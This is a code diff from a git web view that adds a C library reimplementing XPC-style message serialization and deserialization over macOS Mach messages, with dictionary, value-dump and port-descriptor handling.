|
||||
}
|
||||
|
||||
|
||||
void spc_dump_value(spc_value_t value, int indent)
|
||||
{
|
||||
char* indent_str = malloc(indent + 1);
|
||||
memset(indent_str, ' ', indent);
|
||||
indent_str[indent] = 0;
|
||||
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_NULL:
|
||||
printf("%*cnull\n", indent, ' ');
|
||||
break;
|
||||
case SPC_TYPE_BOOL:
|
||||
printf("%*c%s\n", indent, ' ', value.value.u64 ? "true" : "false");
|
||||
break;
|
||||
case SPC_TYPE_UINT64:
|
||||
printf("%*c%llu\n", indent, ' ', value.value.u64);
|
||||
break;
|
||||
case SPC_TYPE_INT64:
|
||||
printf("%*c%lli\n", indent, ' ', value.value.i64);
|
||||
break;
|
||||
case SPC_TYPE_DOUBLE:
|
||||
printf("%*c%f\n", indent, ' ', value.value.dbl);
|
||||
break;
|
||||
case SPC_TYPE_STRING:
|
||||
printf("%*c%s\n", indent, ' ', value.value.str);
|
||||
break;
|
||||
case SPC_TYPE_UUID: {
|
||||
char buf[0x21];
|
||||
for (int i = 0; i < 0x10; i++) {
|
||||
sprintf(&buf[2*i], "%02x", ((unsigned char*)value.value.str)[i]);
|
||||
}
|
||||
buf[0x20] = 0;
|
||||
printf("%*cuuid: %s\n", indent, ' ', buf);
|
||||
break;
|
||||
}
|
||||
case SPC_TYPE_ARRAY: {
|
||||
spc_array_t* array = value.value.array;
|
||||
printf("%*c[\n", indent, ' ');
|
||||
for (size_t i = 0; i < array->length; i++) {
|
||||
spc_dump_value(array->values[i], indent + 2);
|
||||
}
|
||||
printf("%*c]\n", indent, ' ');
|
||||
break;
|
||||
}
|
||||
case SPC_TYPE_DICT: {
|
||||
spc_dictionary_item_t* current = value.value.dict->items;
|
||||
while (current) {
|
||||
printf("%*c%s:\n", indent, ' ', current->key);
|
||||
spc_dump_value(current->value, indent + 2);
|
||||
current = current->next;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
printf("%*cport send right: %d\n", indent, ' ', value.value.port.name);
|
||||
break;
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
printf("%*cport receive right: %d\n", indent, ' ', value.value.port.name);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
printf("%*cdata: 0x", indent, ' ');
|
||||
for (size_t i = 0; i < value.value.data.size; i++)
|
||||
printf("%02x", value.value.data.ptr[i]);
|
||||
printf("\n");
|
||||
break;
|
||||
default:
|
||||
printf("%*cUnknown item of type %d\n", indent, ' ', value.type);
|
||||
}
|
||||
|
||||
free(indent_str);
|
||||
}
|
||||
|
||||
void spc_dump(spc_dictionary_t* dict)
|
||||
{
|
||||
spc_value_t value;
|
||||
value.type = SPC_TYPE_DICT;
|
||||
value.value.dict = dict;
|
||||
spc_dump_value(value, 0);
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
|
||||
#ifndef _DICTIONARY_H_
|
||||
#define _DICTIONARY_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
spc_dictionary_t* spc_dictionary_create();
|
||||
|
||||
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value);
|
||||
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value);
|
||||
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value);
|
||||
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value);
|
||||
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value);
|
||||
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* value, size_t len);
|
||||
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
|
||||
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
|
||||
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd);
|
||||
|
||||
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key);
|
||||
|
||||
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key);
|
||||
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key);
|
||||
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key);
|
||||
uint64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key);
|
||||
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key);
|
||||
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key);
|
||||
|
||||
void spc_dump(spc_dictionary_t* dict);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,469 @@
|
|||
#include "serialization.h"
|
||||
#include "array.h"
|
||||
#include "dictionary.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned char* start;
|
||||
unsigned char* end;
|
||||
unsigned char* ptr;
|
||||
size_t num_ports;
|
||||
spc_port_t* ports;
|
||||
} writer_t;
|
||||
|
||||
typedef struct {
|
||||
unsigned char* end;
|
||||
unsigned char* ptr;
|
||||
size_t next_port;
|
||||
size_t num_ports;
|
||||
spc_port_t* ports;
|
||||
} reader_t;
|
||||
|
||||
char last_header[8] = "CPX@\x05\x00\x00\x00";
|
||||
|
||||
void spc_ensure_space(writer_t* writer, size_t num_bytes)
|
||||
{
|
||||
if (writer->ptr + num_bytes > writer->end) {
|
||||
size_t new_size = (writer->end - writer->start) + num_bytes;
|
||||
void* buf = realloc(writer->start, new_size);
|
||||
writer->ptr = buf + (writer->ptr - writer->start);
|
||||
writer->start = buf;
|
||||
writer->end = buf + new_size;
|
||||
}
|
||||
}
|
||||
|
||||
size_t spc_write(writer_t* writer, void* buf, size_t len)
|
||||
{
|
||||
spc_ensure_space(writer, len);
|
||||
|
||||
memcpy(writer->ptr, buf, len);
|
||||
writer->ptr += len;
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
size_t spc_write_padded(writer_t* writer, const void* buf, size_t len)
|
||||
{
|
||||
size_t remainder = (4 - (len % 4)) % 4;
|
||||
|
||||
spc_ensure_space(writer, len + remainder);
|
||||
|
||||
memcpy(writer->ptr, buf, len);
|
||||
writer->ptr += len;
|
||||
memset(writer->ptr, 0, remainder);
|
||||
writer->ptr += remainder;
|
||||
|
||||
return len + remainder;
|
||||
}
|
||||
|
||||
size_t spc_write_str(writer_t* writer, const char* str)
|
||||
{
|
||||
return spc_write_padded(writer, str, strlen(str) + 1);
|
||||
}
|
||||
|
||||
size_t spc_write_uint32(writer_t* writer, uint32_t val)
|
||||
{
|
||||
// TODO replace with
|
||||
// spc_write(writer, &val, 4);
|
||||
spc_ensure_space(writer, 4);
|
||||
|
||||
memcpy(writer->ptr, &val, 4);
|
||||
writer->ptr += 4;
|
||||
|
||||
return 4;
|
||||
}
|
||||
|
||||
size_t spc_write_uint64(writer_t* writer, uint64_t val)
|
||||
{
|
||||
spc_ensure_space(writer, 8);
|
||||
|
||||
memcpy(writer->ptr, &val, 8);
|
||||
writer->ptr += 8;
|
||||
|
||||
return 8;
|
||||
}
|
||||
|
||||
size_t spc_write_int64(writer_t* writer, uint64_t val)
|
||||
{
|
||||
spc_ensure_space(writer, 8);
|
||||
|
||||
memcpy(writer->ptr, &val, 8);
|
||||
writer->ptr += 8;
|
||||
|
||||
return 8;
|
||||
}
|
||||
|
||||
size_t spc_write_double(writer_t* writer, double val)
|
||||
{
|
||||
spc_ensure_space(writer, 8);
|
||||
|
||||
memcpy(writer->ptr, &val, 8);
|
||||
writer->ptr += 8;
|
||||
|
||||
return 8;
|
||||
}
|
||||
|
||||
void spc_write_port(writer_t* writer, spc_port_t port)
|
||||
{
|
||||
writer->ports = realloc(writer->ports, (writer->num_ports + 1) * sizeof(spc_port_t));
|
||||
writer->ports[writer->num_ports] = port;
|
||||
writer->num_ports += 1;
|
||||
}
|
||||
|
||||
size_t spc_write_array(writer_t* writer, spc_array_t* array);
|
||||
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict);
|
||||
|
||||
size_t spc_serialize_value(writer_t* writer, spc_value_t value)
|
||||
{
|
||||
size_t bytes_written = 0;
|
||||
bytes_written += spc_write_uint32(writer, value.type);
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_NULL:
|
||||
break;
|
||||
case SPC_TYPE_BOOL:
|
||||
bytes_written += spc_write_uint32(writer, value.value.u64);
|
||||
break;
|
||||
case SPC_TYPE_UINT64:
|
||||
bytes_written += spc_write_uint64(writer, value.value.u64);
|
||||
break;
|
||||
case SPC_TYPE_INT64:
|
||||
bytes_written += spc_write_int64(writer, value.value.i64);
|
||||
break;
|
||||
case SPC_TYPE_DOUBLE:
|
||||
bytes_written += spc_write_double(writer, value.value.dbl);
|
||||
break;
|
||||
case SPC_TYPE_STRING:
|
||||
bytes_written += spc_write_uint32(writer, strlen(value.value.str) + 1);
|
||||
bytes_written += spc_write_str(writer, value.value.str);
|
||||
break;
|
||||
case SPC_TYPE_ARRAY:
|
||||
bytes_written += spc_write_array(writer, value.value.array);
|
||||
break;
|
||||
case SPC_TYPE_DICT:
|
||||
bytes_written += spc_write_dict(writer, value.value.dict);
|
||||
break;
|
||||
case SPC_TYPE_FD:
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
spc_write_port(writer, value.value.port);
|
||||
break;
|
||||
case SPC_TYPE_UUID:
|
||||
bytes_written += spc_write(writer, value.value.ptr, 0x10);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
bytes_written += spc_write_uint32(writer, value.value.data.size);
|
||||
bytes_written += spc_write_padded(writer, value.value.data.ptr, value.value.data.size);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported value type: 0x%x\n", value.type);
|
||||
}
|
||||
|
||||
return bytes_written;
|
||||
}
|
||||
|
||||
size_t spc_write_array(writer_t* writer, spc_array_t* array)
|
||||
{
|
||||
size_t bytes_written = 0;
|
||||
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
|
||||
spc_write_uint32(writer, 0); // placeholder for byte size
|
||||
|
||||
bytes_written += spc_write_uint32(writer, array->length);
|
||||
|
||||
for (size_t i = 0; i < array->length; i++) {
|
||||
bytes_written += spc_serialize_value(writer, array->values[i]);
|
||||
}
|
||||
|
||||
// Fill in correct byte size
|
||||
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
|
||||
return bytes_written + 4;
|
||||
}
|
||||
|
||||
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict)
|
||||
{
|
||||
size_t bytes_written = 0;
|
||||
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
|
||||
spc_write_uint32(writer, 0); // placeholder for byte size
|
||||
|
||||
bytes_written += spc_write_uint32(writer, dict->num_items);
|
||||
|
||||
for (spc_dictionary_item_t* item = dict->items; item != NULL; item = item->next) {
|
||||
bytes_written += spc_write_str(writer, item->key);
|
||||
bytes_written += spc_serialize_value(writer, item->value);
|
||||
}
|
||||
|
||||
// Fill in correct byte size
|
||||
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
|
||||
return bytes_written + 4;
|
||||
}
|
||||
|
||||
spc_mach_message_t* spc_serialize(spc_message_t* msg)
|
||||
{
|
||||
spc_mach_message_t* mach_msg;
|
||||
|
||||
size_t actual_size, content_size, initial_size = msg->content->num_items * 32; // heuristic
|
||||
|
||||
writer_t writer;
|
||||
writer.start = malloc(initial_size);
|
||||
writer.end = writer.start + initial_size;
|
||||
writer.ptr = writer.start;
|
||||
writer.ports = NULL;
|
||||
writer.num_ports = 0;
|
||||
|
||||
spc_write(&writer, last_header, 8);
|
||||
spc_write_uint32(&writer, SPC_TYPE_DICT);
|
||||
spc_write_dict(&writer, msg->content);
|
||||
|
||||
content_size = writer.ptr - writer.start;
|
||||
char* ptr;
|
||||
|
||||
if (writer.num_ports != 0) {
|
||||
// Must create a complex messge
|
||||
actual_size = sizeof(mach_msg_header_t) + sizeof(mach_msg_body_t) + writer.num_ports * sizeof(mach_msg_port_descriptor_t) + content_size;
|
||||
mach_msg = malloc(actual_size);
|
||||
mach_msg->header.msgh_bits = MACH_MSGH_BITS_COMPLEX;
|
||||
|
||||
ptr = (char*)mach_msg + sizeof(mach_msg_header_t);
|
||||
mach_msg_body_t* body = (mach_msg_body_t*)ptr;
|
||||
body->msgh_descriptor_count = writer.num_ports;
|
||||
ptr += sizeof(mach_msg_body_t);
|
||||
|
||||
for (size_t i = 0; i < writer.num_ports; i++) {
|
||||
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)ptr;
|
||||
descriptor->type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
descriptor->name = writer.ports[i].name;
|
||||
descriptor->disposition = writer.ports[i].type;
|
||||
ptr += sizeof(mach_msg_port_descriptor_t);
|
||||
}
|
||||
} else {
|
||||
actual_size = sizeof(mach_msg_header_t) + content_size;
|
||||
mach_msg = malloc(actual_size);
|
||||
mach_msg->header.msgh_bits = 0;
|
||||
ptr = (char*)mach_msg->buf;
|
||||
}
|
||||
|
||||
// Fill in the mach message
|
||||
mach_msg->header.msgh_remote_port = msg->remote_port.name;
|
||||
mach_msg->header.msgh_local_port = msg->local_port.name;
|
||||
mach_msg->header.msgh_id = msg->id;
|
||||
mach_msg->header.msgh_size = actual_size;
|
||||
mach_msg->header.msgh_bits |= MACH_MSGH_BITS(msg->remote_port.type, msg->local_port.type);
|
||||
memcpy(ptr, writer.start, content_size);
|
||||
|
||||
free(writer.start);
|
||||
|
||||
return mach_msg;
|
||||
}
|
||||
|
||||
void* spc_read(reader_t* reader, size_t len)
|
||||
{
|
||||
// Let it crash if the received message is invalid...
|
||||
if (reader->ptr + len > reader->end) {
|
||||
printf("OOB read in spc_read\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
void* res = reader->ptr;
|
||||
reader->ptr += len;
|
||||
return res;
|
||||
}
|
||||
|
||||
uint64_t spc_read_uint64(reader_t* reader)
|
||||
{
|
||||
return *(uint64_t*)spc_read(reader, 8);
|
||||
}
|
||||
|
||||
int64_t spc_read_int64(reader_t* reader)
|
||||
{
|
||||
return *(int64_t*)spc_read(reader, 8);
|
||||
}
|
||||
|
||||
double spc_read_double(reader_t* reader)
|
||||
{
|
||||
return *(double*)spc_read(reader, 8);
|
||||
}
|
||||
|
||||
uint32_t spc_read_uint32(reader_t* reader)
|
||||
{
|
||||
return *(uint32_t*)spc_read(reader, 4);
|
||||
}
|
||||
|
||||
void* spc_read_padded(reader_t* reader, size_t size)
|
||||
{
|
||||
size_t remainder = (4 - (size % 4)) % 4;
|
||||
|
||||
return spc_read(reader, size + remainder);
|
||||
}
|
||||
|
||||
char* spc_read_str(reader_t* reader)
|
||||
{
|
||||
unsigned char* end = memchr(reader->ptr, 0, reader->end - reader->ptr);
|
||||
if (!end)
|
||||
return NULL;
|
||||
|
||||
return spc_read_padded(reader, end - reader->ptr + 1);
|
||||
}
|
||||
|
||||
spc_port_t spc_reader_next_port(reader_t* reader)
|
||||
{
|
||||
if (reader->next_port >= reader->num_ports)
|
||||
return SPC_NULL_PORT;
|
||||
|
||||
reader->next_port++;
|
||||
return reader->ports[reader->next_port - 1];
|
||||
}
|
||||
|
||||
spc_value_t spc_deserialize_value(reader_t* reader);
|
||||
|
||||
spc_array_t* spc_deserialize_array(reader_t* reader)
|
||||
{
|
||||
spc_array_t* array = spc_array_create();
|
||||
spc_read_uint32(reader);
|
||||
size_t length = spc_read_uint32(reader);
|
||||
for (uint32_t i = 0; i < length; i++) {
|
||||
spc_value_t value = spc_deserialize_value(reader);
|
||||
spc_array_set_value(array, i, value);
|
||||
}
|
||||
|
||||
return array;
|
||||
}
|
||||
|
||||
spc_dictionary_t* spc_deserialize_dict(reader_t* reader)
|
||||
{
|
||||
spc_dictionary_t* dict = spc_dictionary_create();
|
||||
spc_read_uint32(reader);
|
||||
dict->num_items = spc_read_uint32(reader);
|
||||
for (uint32_t i = 0; i < dict->num_items; i++) {
|
||||
spc_dictionary_item_t* item = malloc(sizeof(spc_dictionary_item_t));
|
||||
item->key = strdup(spc_read_str(reader));
|
||||
item->value = spc_deserialize_value(reader);
|
||||
item->next = dict->items;
|
||||
dict->items = item;
|
||||
}
|
||||
|
||||
return dict;
|
||||
}
|
||||
|
||||
spc_value_t spc_deserialize_value(reader_t* reader)
|
||||
{
|
||||
spc_value_t value;
|
||||
value.type = spc_read_uint32(reader);
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_NULL:
|
||||
break;
|
||||
case SPC_TYPE_BOOL:
|
||||
value.value.u64 = spc_read_uint32(reader);
|
||||
break;
|
||||
case SPC_TYPE_UINT64:
|
||||
value.value.u64 = spc_read_uint64(reader);
|
||||
break;
|
||||
case SPC_TYPE_INT64:
|
||||
value.value.i64 = spc_read_int64(reader);
|
||||
break;
|
||||
case SPC_TYPE_DOUBLE:
|
||||
value.value.dbl = spc_read_double(reader);
|
||||
break;
|
||||
case SPC_TYPE_STRING:
|
||||
spc_read_uint32(reader);
|
||||
value.value.str = strdup(spc_read_str(reader));
|
||||
break;
|
||||
case SPC_TYPE_ARRAY:
|
||||
value.value.array = spc_deserialize_array(reader);
|
||||
break;
|
||||
case SPC_TYPE_DICT:
|
||||
value.value.dict = spc_deserialize_dict(reader);
|
||||
break;
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
value.value.port = spc_reader_next_port(reader);
|
||||
break;
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
value.value.port = spc_reader_next_port(reader);
|
||||
break;
|
||||
case SPC_TYPE_UUID:
|
||||
value.value.ptr = malloc(0x10);
|
||||
memcpy(value.value.ptr, spc_read(reader, 0x10), 0x10);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
value.value.data.size = spc_read_uint32(reader);
|
||||
value.value.data.ptr = malloc(value.value.data.size);
|
||||
memcpy(value.value.data.ptr, spc_read_padded(reader, value.value.data.size), value.value.data.size);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported value type: 0x%x\n", value.type);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
#define MSGID_CONNECTION_INTERRUPTED 71
|
||||
|
||||
spc_message_t* spc_deserialize(spc_mach_message_t* mach_msg)
|
||||
{
|
||||
reader_t reader;
|
||||
reader.next_port = 0;
|
||||
reader.num_ports = 0;
|
||||
reader.ports = NULL;
|
||||
reader.end = (unsigned char*)mach_msg + mach_msg->header.msgh_size;
|
||||
reader.ptr = mach_msg->buf;
|
||||
|
||||
// Handle well-known message IDs
|
||||
if (mach_msg->header.msgh_id == MSGID_CONNECTION_INTERRUPTED) {
|
||||
spc_dictionary_t* dict = spc_dictionary_create();
|
||||
spc_dictionary_set_string(dict, "error", "Connection interrupted");
|
||||
printf("Connection interrupted\n");
|
||||
// TODO
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if (mach_msg->header.msgh_bits & MACH_MSGH_BITS_COMPLEX) {
|
||||
mach_msg_body_t* body = (mach_msg_body_t*)spc_read(&reader, sizeof(mach_msg_body_t));
|
||||
for (int i = 0; i < body->msgh_descriptor_count; i++) {
|
||||
mach_msg_descriptor_type_t type = ((mach_msg_type_descriptor_t*)reader.ptr)->type;
|
||||
switch (type) {
|
||||
case MACH_MSG_PORT_DESCRIPTOR: {
|
||||
reader.ports = realloc(reader.ports, (reader.num_ports + 1) * sizeof(spc_port_t));
|
||||
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)spc_read(&reader, sizeof(mach_msg_port_descriptor_t));
|
||||
reader.ports[reader.num_ports].name = descriptor->name;
|
||||
reader.ports[reader.num_ports].type = descriptor->disposition;
|
||||
reader.num_ports += 1;
|
||||
break;
|
||||
}
|
||||
case MACH_MSG_OOL_DESCRIPTOR:
|
||||
spc_read(&reader, sizeof(mach_msg_ool_descriptor_t));
|
||||
printf("Warning: ignoring OOL descriptor\n");
|
||||
break;
|
||||
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
|
||||
spc_read(&reader, sizeof(mach_msg_ool_ports_descriptor_t));
|
||||
printf("Warning: ignoring OOL ports descriptor\n");
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported mach message descriptor type: %d\n", type);
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void* header = spc_read(&reader, 8);
|
||||
memcpy(last_header, header, 8);
|
||||
|
||||
spc_value_t value = spc_deserialize_value(&reader);
|
||||
if (value.type != SPC_TYPE_DICT) {
|
||||
spc_value_destroy(value);
|
||||
puts("Invalid XPC message type");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
spc_message_t* msg = malloc(sizeof(spc_message_t));
|
||||
msg->remote_port.name = mach_msg->header.msgh_remote_port;
|
||||
msg->remote_port.type = MACH_MSGH_BITS_REMOTE(mach_msg->header.msgh_bits);
|
||||
msg->local_port.name = mach_msg->header.msgh_remote_port;
|
||||
msg->local_port.type = MACH_MSGH_BITS_LOCAL(mach_msg->header.msgh_bits);
|
||||
msg->id = mach_msg->header.msgh_id;
|
||||
msg->content = value.value.dict;
|
||||
|
||||
return msg;
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
#ifndef _SERIALIZATION_H_
|
||||
#define _SERIALIZATION_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
typedef struct _spc_mach_message_t {
|
||||
mach_msg_header_t header;
|
||||
unsigned char buf[]; // variable sized body
|
||||
} spc_mach_message_t;
|
||||
|
||||
// Serializes the given dictionary into a spc_mach_message_t.
|
||||
// The returned pointer has to be free()d by the caller.
|
||||
spc_mach_message_t* spc_serialize(spc_message_t* msg);
|
||||
|
||||
spc_message_t* spc_deserialize(spc_mach_message_t* msg);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,6 @@
|
|||
#include "datatypes.h"
|
||||
#include "array.h"
|
||||
#include "dictionary.h"
|
||||
#include "serialization.h"
|
||||
#include "connection.h"
|
||||
#include "utils.h"
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue